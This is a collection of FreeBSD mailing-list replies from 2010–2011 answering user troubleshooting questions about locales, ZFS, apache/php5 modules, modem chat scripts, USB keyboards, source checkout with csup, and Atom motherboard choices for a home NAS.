On Thu, Nov 03, 2011 at 11:17:08PM +0100, O. Hartmann wrote: > Hello. > I realised something weird in FreeBSD 10.-CURRENT/amd64 (CLANG > compiled), build as from today (buildworld). > > Working the whole day coding some pyhton scripts and committing the code > to my subversion server (most recent subversion from the ports > collection, the server is a FreeBSD 9.0-RC1/amd64 box, also system > compiled with CLANG, most recent as compiled world of today), suddenly, > oy of the blue, trying again to commit I get this error: > > svn: warning: cannot set LC_CTYPE locale > svn: warning: environment variable LC_CTYPE is de_DE.ISO-8859-1 > svn: warning: please check that your locale name is correct > > > Checking csh shell setting with 'locale": > LANG= > LC_CTYPE="C" > LC_COLLATE="C" > LC_TIME="C" > LC_NUMERIC="C" > LC_MONETARY="C" > LC_MESSAGES="C" > LC_ALL= > > > Checking my settings from /etc/csh.cshrc and ./.cshrc or .login reveals > localised settings for some of the locales as I need those: > > (set in $HOME/.cshrc) > setenv LC_CTYPE"de_DE.ISO-8859-1" > setenv LC_TIME "de_DE.ISO-8859-1" > setenv LC_MONETARY "de_DE.ISO-8859-1" > > What is going on? > > I realised this behaviour now several times, first time I thought I did > something and I couldn't remember, but this time, only two terminal > windows were opened and the whole day committing data to the repository > wasn't an issue. > > Is there an explanation for this? It sounds like a problem specific to the "client end", meaning your -CURRENT box. If that's the case: shouldn't this mail have gone to freebsd-current@ instead of freebsd-stable@ ? What am I missing? As for your problem: your locale looks incorrect. It's "de_DE.ISO8859-1". Note that yours has an extra hyphen, which probably explains the error (sort of). $ ls -ld /usr/share/locale/de_DE* drwxr-xr-x2 root wheel 512 Sep 28 14:36 /usr/share/locale/de_DE.ISO8859-1/ drwxr-xr-x2 root wheel 512 Sep 28 14:36 /usr/share/locale/de_DE.ISO8859-15/ drwxr-xr-x2 root wheel 512 Sep 28 14:36 /usr/share/locale/de_DE.UTF-8/ As for the fact that it's "random": I cannot explain why a sub-shell might get spawned in some cases but not others. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, US | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: KVM - FreeBSD Network Problem
On 10/07/11 01:01, Aydın Demirel wrote: > Hi; > > I installed FreeBSD 8.2 on Centos 5.7 via KVM. KVM version is 8.3 and > qemu version is 0.12.4 > > We have network problem. I set guest freebsd network as bridge mode > and Status seems active. Default gateway is defined.. > > When I see network packets with tcpdump, packets are streaming (for > example: ARP, requested has 10.6.21.221 ...) > > But, Guest network doesn't go out. > > What can be the problem? Any suggestion? > > Regards > I have noticed odd behaviour when using Gentoo as the KVM host. I get very intermitant connectivity. I have it setup as a bridge on the host. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Newbbie Issue (JP) - installing FreeBSD 8.1 on a HP Notebook
On 2011-Jul-19 02:44:13 -0700, Mygamejw wrote: >>> init: not found in path /sbin/init:/sbin/ >>> d/sysinstall > >THIS IS CORRECT OUTPUT! No need to shout. In that case, your boot media would appear to be corrupt. >I saw in the manuals that you want to disable the APCI if the system >you have uses apm. This is way I choose option 6 ACPI has replaced APM on all modern systems and many modern systems will not boot without ACPI. Unless you have specific requirements, I suggest you stick with the defaults. -- Peter Jeremy pgp1BYOmE2uYz.pgp Description: PGP signature
Re: zpool-zfs'es on a GELI-encrypted volume are not mounted at boot [patch included]
On Sun, Jul 10, 2011 at 04:05:04PM +0200, Christopher J. Ruwe wrote: > On Sun, 10 Jul 2011 16:38:43 +0400 > Pan Tsu wrote: > > > "Christopher J. Ruwe" writes: > > > > > Nearly a week ago I posted this question to freebsd-fs, but > > > probalby my question is a) worded too complicatedly, b) not really a > > > filesystem-issue or c) both. > > > > > > To rephrase: In setups requiring one or more ZFS-dataset to be > > > mounted before another service is activated (GELI in my case) and > > > the rest of the ZFS-datasets after that service is activated > > > (because they require GELI), it seems to be necessary to add a `zfs > > > mount -a` to mountcritlocal. Is this considered correct behaviour > > > and wouldn't it make sense to add such a line to mountcritlocal in > > > the standard setup? > > [...] > > > > Have you tried to set zfs_enable=YES in rc.conf? Based on rcorder(8) > > output rc.d/zfs should come just after rc.d/mountcritlocal. > > zfs_enable="YES" is set. rcorder gives curious output, so maybe my etcs are > wrong? > > $> rcorder /etc/rc.d/zfs > rcorder: file `/etc/rc.d/zfs' is before unknown provision `mountlate' > /etc/rc.d/zfs > > $> rcorder /etc/rc.d/mountcritlocal > rcorder: requirement `root' in file `/etc/rc.d/mountcritlocal' has no > providers. > /etc/rc.d/mountcritlocal You're using rcorder wrong here. "rcorder /etc/rc.d/*" will get you what you're looking for. Yes, literally an asterisk. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, US | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Dell PowerEdge 1950: MPT0 doesn't recogniz hard drive > 2TB
On Wed, Jun 29, 2011 at 09:58:02AM +0200, O. Hartmann wrote: > On a Dell PowerEdge 1950, BIOS from 2007, a freshly installed WD 3 > TB SATA 6GB harddrive doesn't get recognized as 3 TB disk, it is > reported as 2TB disk only. > > The box is running FreeBSD 8.2-STABLE (see below the dmesg excerpt). > The drive is configured as ZFS pool on top of a GPT partition. > > I tried the 3 TB harddrive on a FreeBSD 9.0-CURRENT box with Intel > ICH10R SATA chipset and it worked fine, was reported as 2.7TB drive > as expected. > > I found some postings concerning mptutil not dealing with HD > 2TB, > but this issue seems not to be a tool-issue. > > Questions: > a) Is this an issue of FreeBSD 8.2-STABLE or is it a firmware/BIOS > issue which can be solved? > > b) regarding to a), how can I update the BIOS/MPT firmware of the > Dell PowerEdge 1950? Is there an option to do this via USB? As I > said, the firmware is quite old, it's from 2007. The answer is here: http://www.freebsd.org/cgi/query-pr.cgi?pr=bin/147572 -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, US | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: UDF and DVD's
On Thu, May 19, 2011 at 12:36:02AM -0400, grarpamp wrote: > Greetings... :) > > The first filesystem DVD... other than a movie DVD (DVD-VIDEO?), > and the FreeBSD make release DVD's (iso9660)... that I've ever tried > to mount, well... don't. It is: > Windows 7 Ultimate with Service Pack 1 (x64) - DVD (English) 5/12/2011 > You can find the SHA-1 hash here: > http://msdn.microsoft.com/en-us/subscriptions/downloads/default.aspx > and a sample image, if needed for reference purposes, via any search > engine. > > Anyways, after a little reasearch, does FreeBSD not, in fact, support > this UDF version? (I don't yet know how to supply the version of > this image for you?) > > Can the FreeBSD team implement it? Perhaps by porting from NetBSD > 5.1's seemingly near complete implementation? > http://en.wikipedia.org/wiki/Universal_Disk_Format > http://www.osta.org/specs/index.htm > As perhaps even a GSOC or Foundation project? Because reading retail > optical filesystem formats would seem to be a rather expected > capability? > > I'm guessing the current state within FreeBSD means that I can > neither read, nor create, or write, readable (compatible) images > at this, or any given, UDF level? > > As I've no other DVD's to test with... what UDF versions are most > DVD data ROM's published in? > > Is this a blocker for FreeBSD? > > For me, at least, minimally, that seems to be the case... as I now > have no way to rip, mount and add the files to this DVD that I would > like to add. Except to use Windows, which I consider to be unreliable > at best. > > Thoughts? Thanks :) Thoughts: please provide commands, full output, etc. that show how you're trying to mount the disc, as well as relevant /dev entries pertaining to your DVD drive. dmesg might also be helpful. And I assume you have looked at mount_udf(8)? -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: FreeBSD 8.2 and Lenovo X300 WWAN Modem
On Wed, May 18, 2011 at 11:40:36AM +0200, crsnet.pl wrote: > Hello. > Have here anyone run this modem/GPS under FreeBSD 8.2 ? Modem is > recognized, but when i try to run ppp -ddial iplus i get this error > : > > /var/log/messages > May 18 11:20:59 x60s ppp[1656]: tun0: Warning: Chat script failed > > /var/log/ppp > May 18 11:20:53 x60s ppp[1656]: tun0: Phase: deflink: opening -> dial > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Send: AT^M > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Expect(2): OK > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Received: AT^M^M > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Received: OK^M > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Send: AT+CFUN=1^M > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Expect(2): OK > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Received: AT+CFUN=1^M^M > May 18 11:20:53 x60s ppp[1656]: tun0: Chat: Received: ERROR^M I'm not familiar with GPS modem units, but I am familiar with classic modems and a little bit with chat scripts from my Linux days. A couple things -- and possibly these GPS modems behave differently than what I was used to back in the early 90s: 1) Based on the chat logs above, it looks like echo mode is enabled on the modem. The client should be sending "AT\r", and it should receive the response "OK\r". Instead, the log indicates what you're getting back is "AT\r\rOK\r". 2) Regardless of #1, the AT+CFUN=1 command you're sending to the modem results in the modem itself responding with ERROR. This isn't coming from ppp, chat, or anything else -- the modem is literally responding with ERROR itself. Meaning, that command (obviously not Hayes!) the modem firmware doesn't know how to interpret. I have no idea what +CFUN=1 does, but then again the modem doesn't seem to either. :-) So I guess my advice would be: fix your chat script to work properly with your modem. :-) Your script is here: > set dial "ABORT BUSY TIMEOUT 2 \ > \"\" \ > AT OK-AT-OK \ > AT+CFUN=1 OK-AT-OK \ > AT+CMEE=2 OK-AT-OK \ > AT+CSQ OK \ > AT+CGDCONT=1,\\\"IP\\\",\\\"internet\\\" OK \ > AT+CGACT? OK-AT-OK \ > AT+CGATT? OK \ > AT+CGCLASS? OK \ > AT+COPS? OK \ > ATD*99***1# CONNECT" -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Keyboard repeat issues with Dell Optiplex 980s
On Tue, Jan 18, 2011 at 04:40:13PM -0500, Steve Polyack wrote: > > We've recently upgraded a few desktop workstations from Dell > Optiplex 960s to Optiplex 980s. We were running FreeBSD > 8.1-RELEASE. The migration was performed by simply swapping the > drives into the new systems. Immediately after switching people > over, they all began to report bizarre keyboard issues - things like > infinite key repeats (letters, numbers, "enter") for keys they did > not hold down. The key repeats continue indefinitely until another > key is pressed. Occasionally, even mouse input will trigger similar > infinite keyboard input repetition. In addition to the repeat > issue, sometimes physical key-presses are not registered by FreeBSD, > leading to typos and angry developers. > > We've tried doing fresh installs of FreeBSD 8.2-RC2 on two of these > systems, and the issue persists. Because of the observed behavior, > I'm thinking that this is due to new hardware in the 980s which > isn't timing or handling interrupts correctly under the FreeBSD > kernel. > > Looking at a 'pciconf -lvb' from each system, I noticed that the 980 > has two USB controllers which probe under ehci(4), while the 960 > (which does not exhibit this problem), enumerates six uhci(4) > controllers and two ehci(4) controllers. To cut to the chase here, > the 960 users' keyboards probe under a USB1.0 uhci(4), while the > 980s only have ehci(4) devices to attach to. > > So, I guess what I'm asking is - has anyone else seen any keyboard > repeat or other USB craziness with ehci(4) ports or otherwise Intel > PCH controllers?Any fellow Optiplex 980 users? I'd be more than > happy to provide pciconf or other output if requested. Try adding the following to /boot/loader.conf then reboot and see if the "excessive repeat" behaviour changes: hint.kbdmux.0.disabled="1" It would also help if you would state exactly what brand/model of keyboard is used. Yes, believe it or not, it matters. dmesg output would be helpful in this case. -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: mouse problems....
On Wed, Oct 13, 2010 at 05:59:06AM +0200, Polytropon wrote: > On Tue, 12 Oct 2010 20:20:18 -0700, Gary Kline wrote: > > Will you please check out this posting: > > > > http://osdir.com/ml/freebsd.bugs/2002-03/msg00032.html > > > > The way that the mose config worked as to turn off the > > moused_enable, to moused_enable="NO". Didn't seem to do > > anything... > > Yes, sounds familiar... > > It is to be interpreted as follows: > > If you use a USB mouse, set moused_enable="NO", as the USB subsystem > will call moused with the correct settings automatically. Correction -- it's devd(8) which auto-launches moused, not the USB subsystem. See /etc/devd.conf and look for the 'ums[0-9]+' entries. -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: need help with apache22 and libphp5.so
On 06/07/10 19:58, Gary Kline wrote:
> On Mon, Jun 07, 2010 at 06:21:11PM -0700, Gary Kline wrote:
>
>> i'v been having trouble upgrading stuff for the past n weeks. i
>> just noticed that my web server won't build. or/when it does, it
>> won't start. i just fired off /usr/local/sbin/apachetl -k start
>> and get:
>>
>>
>>
>> httpd: Syntax error on line 104 of
>> /usr/local/etc/apache22/httpd.conf: Cannot load
>> /usr/local/libexec/apache22/libphp5.so into server: Cannot open
>> "/usr/local/libexec/apache22/libphp5.so"
>>
>> When i try to locate this file, i find it in apache/libphp5.so:
>>
>>
>> r...@ethic:/usr/local/sbin# locate php5.so
>> /usr/local/libexec/apache/libphp5.so
>>
>> Can anybody explain the recent changes? i did read UPDATING, but
>> didn't get that much out of it...
>>
>>
> {*}
>
>
> guys, i understand that it is 'improper' to reply to one's
> own post, esp'ly the first reply, but i have discovered more
> of what is ggoing on.
>
> First, i tried to start apache22 with the script in
> /usr/local/etc/rc.d; same outcome, just same results are
> starting the binary directly. nonetheless, i edited the
> httpd.conf in /usr/local/etc/apache22. i corrected the
> libphp.so directory to read 'apache' rather than 'apache22'.
>
> so the library is presumably loaded, then something else is
> missing. i cannot find "ap_user_id"; neither locate nor a
> recursive grep finds this string.
>
> when i exec the /usr/local/etc/rc.d/apache22 with 'configtest'
> as an arg i get this:
>
>
> Performing sanity check on apache22 configuration:
> httpd: Syntax error on line 104 of /usr/local/etc/apache22/httpd.conf: Cannot
> load /usr/local/libexec/apache/libphp5.so into server:
> /usr/local/libexec/apache/libphp5.so: Undefined symbol "ap_user_id"
> r...@ethic:/usr/local/etc/rc.d#
>
>
>
> question number one, which port builds the apache php5
> library? number two; is there one that will resolve the
> missing 'ap_user_id'?
>
> several months ago i built a friend's website; he is is
> contruction which is hurting; i figured having a website
> might give him an edge. no .. this was gratis. not dime,
> dollar, nor favor is involved. i would like to get apache up
> for myself and my friend. gotta say that this port wasn't
> handled very well in /usr/ports/UPDATING. OR, too, i may be
> the idiot de jour. i only care that my webserver gets up
> again, so thanks for any clues!
>
> gary
>
>
>
>>
>>
>> To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
>>
>
the lang/php5 (or lang/php52) port builds the apache module. you will
need to rebuild the php port.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: FreeBSD 8.1-PRERELEASE: property 'jailed' not supported on FreeBSD: permission denied
On Mon, May 24, 2010 at 10:13:28AM +0400, Eugene Mitrofanov wrote: > On Saturday 22 May 2010, jhell wrote: > > On 05/21/2010 07:55, Eugene Mitrofanov wrote: > > > Hi > > > > > > The command "zfs set jailed=on tank/s1" is failed with the message " > > > property 'jailed' not supported on FreeBSD: permission denied". > > > > > > Output of "zfs get jailed tank/s1" shows me that the property "jailed" is > > > still exists: > > > NAME PROPERTY VALUESOURCE > > > tank/s1 jailedoff default > > > > > > How can I change its value? > > > > > > Thanks. > > > > Simply put, > > > > property 'jailed' not supported on FreeBSD. > > > > Some features that you may see in a "zfs get all pool" will not work > > because they are not implemented yet or are not planned to be > > implemented because they are too *Solaris dependent. > > > > But this feature was in 7S and in 8.0R: > > r...@donkey:samba33# uname -sr > FreeBSD 7.3-RELEASE > r...@donkey:samba33# zfs set jailed=on data/test > r...@donkey:samba33# zfs get jailed data/test > NAME PROPERTY VALUE SOURCE > data/test jailedon local > > When I updated to 8.1PRE it stopped working. Are there any plans for the > revival of "jailed"? ZFS_PROP_ZONED (property "jailed") was explicitly added to the not-supported-on-FreeBSD property list as of 5 weeks ago per MFC r197867. See commit 1.4.2.4 to RELENG_8 here: http://www.freebsd.org/cgi/cvsweb.cgi/src/cddl/contrib/opensolaris/lib/libzfs/common/libzfs_dataset.c And the piece which was committed to HEAD: http://svn.freebsd.org/viewvc/base?view=revision&revision=197867 CC'ing responsible committers to answer your question. -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: [ HEADS UP ] Ports unstable for the next 10 days
On Thu, Apr 08, 2010 at 07:42:06AM -0500, Antonio Olivares wrote: > On Wed, Apr 7, 2010 at 7:36 AM, Ion-Mihai Tetcu wrote: > > On Wed, 7 Apr 2010 07:20:47 -0500 > > Antonio Olivares wrote: > > > > [ .. ] > > > >> ===>>> Port directory: /usr/ports/sysutils/fusefs-kmod > >> ===>>> This port is marked IGNORE > >> ===>>> requires the userland sources to be installed. Set > >> SRC_BASE if it is not in /usr/src > >> > >> ===>>> If you are sure you can build it, remove the > >> IGNORE line in the Makefile and try again. > >> > >> ===>>> Update for sysutils/fusefs-kmod failed > >> ===>>> Aborting update > > > > [ .. ] > >> What should I do in this case? > > > > First, please don't top post. > > > > Second, you don't seem to have the base sources installed and that > > port, being a kernel module, needs them. > > See: > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cvsup.html > > > > -- > > IOnut - Un^d^dregistered ;) FreeBSD "user" > > "Intellectual Property" is nowhere near as valuable as "Intellect" > > FreeBSD committer -> ite...@freebsd.org, PGP Key ID 057E9F8B493A297B > > > > Dear Ion-Mihai, > > I have installed cvsup, but I don't really understand the page that I > was refered to > > ===> SECURITY REPORT: > This port has installed the following files which may act as network > servers and may therefore pose a remote security risk to the system. > /usr/local/sbin/cvsupd > /usr/local/bin/cvsup > /usr/local/bin/cvpasswd > > If there are vulnerabilities in these programs there may be a security > risk to the system. FreeBSD makes no guarantee about the security of > ports included in the Ports Collection. Please type 'make deinstall' > to deinstall the port if this is a concern. > > For more information, and contact details about the security > status of this software, see the following webpage: > http://www.cvsup.org/ > ===> Cleaning for ezm3-1.1_2 > ===> Cleaning for cvsup-without-gui-16.1h_4 > > I have installed it using ports system, but still get same error as > above. I try to use cvsup the file, I get nothing, I try to go to the > port that refuses to update and make install clean and it says source > not available or refused? > > I have used ports before and had no problems, I don't know what to do. > > Thank you and others who have provided help. > > *Sorry for top posting You didn't need to install cvsup from ports. csup in the base system will work just fine; it's the official replacement for cvsup. itetcu@ was pointing you to the documentation describing the procedure for using cvsup/csup. Based on the thread so far, my understanding is that you need to download the FreeBSD source repository (kernel, base system, etc.), because the port you're trying to build (which is a kernel module) requires it. There are two cvsup files associated with the source repo: /usr/share/examples/cvsup/standard-supfile /usr/share/examples/cvsup/stable-supfile Which you should use depends on if you're running -RELEASE or -STABLE. The most important part in those files is the "*default release=cvs tag=XXX". Specifically the "tag=XXX" part. 8.0-RELEASE's tag is RELENG_8_0, while 8.0-STABLE's tag is RELENG_8. So which tag you use should be based on what version you wish to run. So at this point, you should: 1) pkg_delete ezm3-1.1_2 2) pkg_delete cvsup-without-gui-16.1h_4 3) csup -h -L 2 /usr/share/example/cvsup/stable-supfile or csup -h -L 2 /usr/share/example/cvsup/standard-supfile This will populate /usr/src on your system. From there, you should be able to build ports/sysutils/fusefs-kmod as normal without any problem. Does this help explain things better? -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Intel D945GSE vs Zotac ION ITX (was: Support for Zotac MB with nVidia ION chipset)
On 2010-Apr-05 12:20:12 +0200, Jeremie Le Hen wrote: >Nonetheless I'm a little worried by what you said about the lack of ECC. >Computers has been used for years before ECC came out and obviously they >worked :). Not really. Most early computers had fairly extensive error detecting hardware. Early microprocessors didn't because the novelty of getting an entire on a CPU on a chip was enough. Most 486 based PCs supported parity RAM but maufacturers and end-users found they could save pennies by leaving the parity bits off. ECC support was a requirement for building servers with microprocessors and some support has trickled down to the desktop. It hasn't been really popular because wider memory costs more and most people want the fastest, cheapest system possible to make their games render faster. Occasional glitches don't matter. With the current generation of CPUs, Intel appear to have made a marketing decision to not support ECC on their desktop CPUs - if you want ECC, you need to user a server-grade CPU (with a much greater profit margin). AMD have gone the other way and have have ECC support in all their x64 chips except mobile ones. You are still at the mercy of motherboard manufacturers who decide to not include the tracks between the DIMM sockets and the CPU. > Do you really think it might happen to be a problem? There's no way to know. Definitely, the added error checking in ZFS have resulted in a number of "ZFS kept reporting errors and I found I actually had bad hardware even though I've been using it for years" reports. > Would an Intel board would compensate for this? No. The memory controller is embedded in the Atom and doesn't support ECC. If you decide to go the ECC path, you need to pick a different CPU. -- Peter Jeremy pgpVvDasCr3Le.pgp Description: PGP signature
Re: Intel D945GSE vs Zotac ION ITX (was: Support for Zotac MB with nVidia ION chipset)
On 2010-Apr-04 23:54:55 +0200, Jeremie Le Hen wrote: >Yeah, you are right. I should have mentionned that I do not want >necessarily a high-performance NAS, it's for home use so my premary >concern is the low power consumption. This is why I want an Atom-based >motherboard. Unfortunately, FreeBSD has some issues with low memory handling that make FreeBSD/i386 a bad choice for ZFS. You would be far better off running amd64 with as much RAM as you can fit onto the board. (And this is one case where you want amd64 even if you don't have >4GB RAM). Note that this doesn't mean you can't use an Atom - some Atoms include EM64T - you just need to check. IMO, the biggest disadvantage of using an Atom in a ZFS NAS is the lack of ECC support on the Atom. ZFS can detect bitflips in the I/O sustem but you can still get screwed by a bitflip in RAM. >I'm still not sure about which motherboard to buy actually. After some >additional reading, my leaning seems to go towards Intel's one as it is >less expensive and consumes half the power of the Zotac's one (13W with >a HDD [2] vs. 25W [3]). I'd recommend against buying anything with the Atom combined with a 945. Whilst the Atom is low-power, the 945 isn't. That is also an older motherboard using an older, superseded Atom. I suggest you look for motherboards built around the new Pinetrail Atoms (which _do_ support EM46T and hence can run amd64). Supermicro make a number of potentially suitable boards: http://www.supermicro.com/products/motherboard/ATOM/ICH9/X7SPA.cfm this is pricier but supports remote management - other options at: http://www.supermicro.com/products/motherboard/Atom/ If you want an Intel MB, search for BOXD510MO Note that I'm not sure how well FreeBSD's X.org supports the Pinetrail yet. There have been some commits but I don't know if support is complete. -- Peter Jeremy pgpC4FYAbzinT.pgp Description: PGP signature
Re: random FreeBSD panics
On Mon, Mar 29, 2010 at 02:27:34PM -0400, John Baldwin wrote: > On Monday 29 March 2010 1:30:38 pm Jeremy Chadwick wrote: > > On Mon, Mar 29, 2010 at 05:01:02PM +, Masoom Shaikh wrote: > > > On Sun, Mar 28, 2010 at 5:38 PM, Ivan Voras wrote: > > > > On 28 March 2010 16:42, Masoom Shaikh wrote: > > > > > > > >> lets assume if this is h/w problem, then how can other OSes overcome > > > >> this ? is there a way to make FreeBSD ignore this as well, let it > > > >> result in reasonable performance penalty. > > > > > > > > Very probably, if only we could detect where the problem is. > > > > Try adding "options PRINTF_BUFR_SIZE=128" to the kernel > > > > > > this option is already there > > > > The key word in Ivan's phrase is "less mangled". Neither use of or > > increasing PRINTF_BUFR_SIZE solves the problem of interspersed console > > output. I've been ranting/raving about this problem for years now; it > > truly looks like a mutex lock issue (or lack of such lock), but I've > > been told numerous times that isn't the case. > > > > To developers: what incentives would help get this issue well-needed > > attention? This problem makes kernel debugging, panic analysis, and > > other console-oriented viewing basically impossible. > > I was recently going to look at it. The somewhat drastic approach I was > going > to take was to add a simple serializing lock around trap_fatal() and a few > other places that do similar block prints (e.g. mca_log()). One of the > issues > with fixing this in printf itself is that you'd want probably want to > serialize complete lines of text on a per-thread basis. You would want to be > able to accumulate this line of text across multiple calls to printf (think > of > it as line-buffering ala stdio). However, some folks may be nervous about > printf not printing things immediately. > > The other issue is that lots of code assumes it can call printf from anywhere > and everywhere. Mostly this just means that if you add locking and line- > buffering to printf(9) you have to be very careful to make sure it works in > odd places. Probably a lot of this could be solved by deferring things like > trap_fatal() until panic() has already been called (which is bde's preferred > solution I think). John, Thanks for the insights, they're greatly appreciated. I went looking this morning to see how Linux addressed this issue (if at all), and it's been discussed a few times in the past. The longest lkml thread I could find that mentioned the problem was circa 2002. Probably not worth reading as there was work done in 2009 to solve the issue. http://lkml.indiana.edu/hypermail/linux/kernel/0204.1/index.html#161 Work done by RedHat in 2009 details how they implemented a lockless version of their kernel ring buffer (similar to our system message buffer, but probably a lot more complex): http://lwn.net/Articles/340400/ http://lwn.net/Articles/340443/ Supposedly having multiple writers to the ring is 100% safe; no interspersed output. Same goes for interrupt-generated stuff. There's some comments in the technical document (2nd link) that imply there's an individual ring buffer for each CPU; possibly per-CPU kernel message buffers would solve our issue? -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: random FreeBSD panics
On Mon, Mar 29, 2010 at 05:01:02PM +, Masoom Shaikh wrote: > On Sun, Mar 28, 2010 at 5:38 PM, Ivan Voras wrote: > > On 28 March 2010 16:42, Masoom Shaikh wrote: > > > >> lets assume if this is h/w problem, then how can other OSes overcome > >> this ? is there a way to make FreeBSD ignore this as well, let it > >> result in reasonable performance penalty. > > > > Very probably, if only we could detect where the problem is. > > Try adding "options PRINTF_BUFR_SIZE=128" to the kernel > > this option is already there The key word in Ivan's phrase is "less mangled". Neither use of or increasing PRINTF_BUFR_SIZE solves the problem of interspersed console output. I've been ranting/raving about this problem for years now; it truly looks like a mutex lock issue (or lack of such lock), but I've been told numerous times that isn't the case. To developers: what incentives would help get this issue well-needed attention? This problem makes kernel debugging, panic analysis, and other console-oriented viewing basically impossible. -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Some questions about vfs.zfs.prefetch_disable=1 and ZFS filesystem versions
On Tue, Mar 16, 2010 at 02:06:35AM +0200, Dan Naumov wrote: > Nevermind the question about ZFS filesystem versions, I should've > Googled more throughly and read Pawel's responce to this question > before (answer: dmesg picks the filesystem version wrong, it IS and > supposed to be v3). The printing of the incorrect version number was fixed in RELENG_7 and RELENG_8 approx. 8 weeks ago. See commit revs 1.14.2.8 (RELENG_7) and 1.18.2.5 (RELENG_8) below: http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Some questions about vfs.zfs.prefetch_disable=1 and ZFS filesystem versions
